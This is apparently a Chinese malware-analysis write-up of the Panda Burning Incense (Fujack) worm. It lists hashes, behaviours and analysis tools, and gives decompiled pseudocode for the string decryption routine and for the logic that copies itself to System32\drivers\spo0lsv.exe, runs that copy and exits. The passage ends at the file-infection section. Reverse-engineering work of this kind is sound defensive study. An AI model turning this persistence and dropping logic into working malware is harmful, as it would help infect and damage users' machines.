1. 样本概况
该熊猫烧香加有fsg壳,利用局域网传播,感染主机可执行文件。
1.1 样本信息
病毒名称:xiongmao.vir
所属家族:Fujack
MD5值:512301c535c88255c9a252fdf70b7a03
SHA1值:ca3a1070cff311c0ba40ab60a8fe3266cfefe870
CRC32:E334747C
病毒行为:设置注册表实现自启动,向系统服务发送控制码,创建文件扩展名为exe的html文件,创建一个微改过的拷贝,修改资源管理器(explorer)的文件夹的隐藏属性,将文件属性设置为隐藏,检测系统内存大小,可能通过内存大小来判断是否运行在虚拟机中,在文件系统上创建可执行文件。
1.2 测试环境及工具
Win7 32位虚拟机,IDA,010editor,OllyDebug,exeinfo,LoadPE.
1.3 分析目标
2.具体行为分析
2.1 主要行为
火绒检测:
感染后文件:
比较被感染的可执行文件:
流程图
2.2 恶意代码分析
熊猫烧香是Delphi程序,需要注意:
- IDA导入bds symbol。
- Delphi默认的调用约定是,从右往左传参,前三个参数分别用寄存器 eax,edx,ecx ,超过三个的放在堆栈中,被调用者平衡堆栈。
- Delphi也是可以内联汇编的。(asm...end...)
- 字符串类型分为P(Pascal字符串),A(Ansi字符串),L
其他经验
- 主要函数的分析时,可以暂时忽略返回值eax没有被保存或使用的调用。
- mov 的目的地址是内存地址时需要重点关注。
2.3 恶意程序的代码分析片段
(1)sub_405250 解密
参数是两个字符串eax,edx,一个缓冲区ecx。
功能是把eax通过edx解密后放入ecx。
if ( pStrKey ) /*pStrKEy is valid*/
{
int lenthofStrKey = GetpascalStrLenth(pStrKey); /*key length*/
if ( lenthofStrKey > 0 )
{
int i = 1;
int XorValue = 0;
do
{
lenthofStrXboy = GetpascalStrLenth(pStrXboy);
XorValue =(strXboy[i % 4d] % 10d) ^ (strKey[i-1])
stosbEax2Edx(
10, /* always 10 */
XorValue, /* the XorValue */
&BufftoSaveXorValue/* buff to save XorValue */);
LStrCat((char **)&decryptedStrBuff, BufftoSaveXorValue);
++i;
--lenthofStrKey;
}
while ( lenthofStrKey );
}
/*save the _Out_ parameter*/
System::__linkproc__ LStrAsg(OutputDecryptedStr, decryptedStrBuff);
}
需要查一下 stosbEax2Edx
三个主函数都没有参数
(2)sub_40819C 释放备份
Delphi 函数特点 eax是传入参数,用 mov 取值,edx 是传出参数,用 lea 取地址。
复制文件到新的目录:
运行新文件,并退出当前进程:
第一次运行
会在 系统目录 C:/Windows/System32/drivers 下 创建 病毒文件的拷贝 spo0lsv.exe 并运行,然后退出。
int main(){
ParamStr(this, (char *)&v75); /*
** ParamStr(int index,_Out_ char* retValue);
** return the index number of param in commandLine;
** eax = 0 ,edx = &var_238 = pathofVirusFile;
*/
/* GetAppPath is to get the ./ of the Path _In_ */
GetAppPath(pathofVirusFile_0, &dirofVirusFile);
LStrCat((char **)&dirofVirusFile, "Desktop_.ini");
if (FileExists(dirofVirusFile_afterStrcat) )/*if Desktop_.ini is exist? 0 is not exist.*/
{
System::ParamStr(pathofVirusFile_1, (char *)&v73);
GetAppPath(v4, &v74);
LStrCat((char **)&v74, "Desktop_.ini");
v5 = (const CHAR *)LStrToPChar();
j_SetFileAttributesA(v5, 0x80u);
j_Sleep(1u);
System::ParamStr(v6, (char *)&v71);
GetAppPath(v7, &v72);
System::__linkproc__ LStrCat((char **)&v72, "Desktop_.ini");
v8 = (const CHAR *)System::__linkproc__ LStrToPChar();
j_DeleteFileA(v8);
}
ParamStr(pathofVirusFile_1, (char *)&v70);
/*
** ReadVirusFileToAnsiStr(_In_ AnsiString filePath,_Out_ char* pFileStr)
** var_1 = pFileStr
** maybe get more information.but out to param is only pFileStr
*/
ReadVirusFileToAnsiStr(pathofVirusFile_2, &pFileStr);/*Also read Import dir to memory */
LStrClr();
for ( i = GetpascalStrLenth(pFileStr); i > 0 && *(_BYTE *)(pFileStr + i - 1); --i )// skip
{
v12 = pFileStr;
LOBYTE(v12) = *(_BYTE *)(pFileStr + i - 1);
stosbEax2Edx(pathofVirusFile_3, v12, (char **)&v69);
LStrCat3(Always0, v69);
}
if ( !Always0 ) /*in*/
{
ParamStr(pathofVirusFile_3, (char *)&v67);
AnsiUpperCase(pathofVirusFile_3Upper);
GetDir_System32(v68, v52);
LStrCatN(dirSystem32, (char *)3, "spo0lsv.exe", "drivers\\", v65);
AnsiUpperCase(v15);
LStrCmp((int)IsFalse, v66); /* to confirm which exe is running*/
if ( !v16 ) /*if mot spo0lsv.exe*/
{
sub_405FC4(); /*use Tlhelp enume process;search spo0lsv.exe*/
sub_405FC4();
GetDir_System32(128, v52);
System::__linkproc__ LStrCatN(dirSystem32_1, (char *)3, "spo0lsv.exe", "drivers\\", v64);
v18 = (const CHAR *)System::__linkproc__ LStrToPChar();
j_SetFileAttributesA(v18, (DWORD)IsFalse);
j_Sleep(1);
GetDir_System32(0, v52);
LStrCatN(dirSystem32_2, (char *)3, "spo0lsv.exe", "drivers\\", v63);
NewFileName = (const CHAR *)System::__linkproc__ LStrToPChar();
ParamStr(pathofVirusFile_4, (char *)&v62);
ExistingFileName = (const CHAR *)System::__linkproc__ LStrToPChar();
j_CopyFileA(ExistingFileName, NewFileName, (BOOL)IsFalse);
GetDir_System32(1, v52);
LStrCatN(dirSystem32_3, (char *)3, "spo0lsv.exe", "drivers\\", v61);
v23 = (const CHAR *)System::__linkproc__ LStrToPChar();
j_WinExec(v23, (UINT)IsFalse);
j_ExitProcess_0(0);
}
}
}
FileExist(char* Name) return a boolean, TRUE is exist, FALSE is not existing.
第二次执行 即 spolsv.exe 执行
int __thiscall sub_40819C(void *this)
{
System::ParamStr(this);
unknown_libname_89(v1, &v79);
System::__linkproc__ LStrCat(v2, "Desktop_.ini");
System::ParamStr(v4);
sub_407650(v12, &v85);
System::__linkproc__ LStrClr();
if ( !v84 )
{
System::ParamStr(v13);
Sysutils::AnsiUpperCase(v16);
sub_4053AC(v75);
System::__linkproc__ LStrCatN(v17, 3, "spo0lsv.exe", "drivers\\", v73);
Sysutils::AnsiUpperCase(v18);
System::__linkproc__ LStrCmp(v19, v74); //exist
if ( !v20 ) //pass it
{/*...*/}
}
v30 = unknown_libname_75(v84);
LStrDelete(v30, i); // delete virusfile memory image, but haven't delete it
v49 = unknown_libname_77(v48, v84);
if ( v49 > 0 )
{/*...*/}
v51 = v63;
v63 = (int *)&loc_408788;
LStrArrayClr(v51, 29);
return LStrArrayClr(v52, 5);
}
(3.1)sub_40D18C 主体1 感染文件
Fun2 是一个递归函数,要遍历所有文件
对 Desktop_.ini 的修改
<